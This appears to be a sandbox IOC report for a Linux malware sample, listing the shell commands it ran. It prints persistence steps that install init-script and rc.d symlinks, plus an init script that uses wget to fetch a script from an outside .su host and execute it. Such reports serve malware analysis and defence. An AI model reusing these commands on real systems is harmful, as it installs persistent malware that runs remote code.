IOC Report
x86_64.nn.elf

/tmp/x86_64.nn.elf

-

/bin/sh

sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"

/bin/sh

-

/usr/bin/chmod

chmod +x /etc/init.d/mybinary

/tmp/x86_64.nn.elf

-

/bin/sh

sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"

/bin/sh

-

/usr/bin/ln

ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary

/tmp/x86_64.nn.elf

-

/bin/sh

sh -c "echo \"#!/bin/sh\n# /etc/init.d/x86_64.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting x86_64.nn.elf'\n /tmp/x86_64.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping x86_64.nn.elf'\n killall x86_64.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/x86_64.nn.elf"

/tmp/x86_64.nn.elf

-

/bin/sh

sh -c "chmod +x /etc/init.d/x86_64.nn.elf >/dev/null 2>&1"

/bin/sh

-

/usr/bin/chmod

chmod +x /etc/init.d/x86_64.nn.elf

/tmp/x86_64.nn.elf

-

/bin/sh

sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

/bin/sh

-

/usr/bin/mkdir

mkdir -p /etc/rc.d

/tmp/x86_64.nn.elf

-

/bin/sh

sh -c "ln -s /etc/init.d/x86_64.nn.elf /etc/rc.d/S99x86_64.nn.elf >/dev/null 2>&1"

/bin/sh

-

/usr/bin/ln

ln -s /etc/init.d/x86_64.nn.elf /etc/rc.d/S99x86_64.nn.elf

/tmp/x86_64.nn.elf

-

/usr/libexec/gnome-session-binary

-

/bin/sh

/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

/usr/libexec/gsd-housekeeping

/usr/libexec/gsd-housekeeping

/usr/lib/systemd/systemd

-

/usr/lib/systemd/system-environment-generators/snapd-env-generator

/usr/lib/systemd/system-environment-generators/snapd-env-generator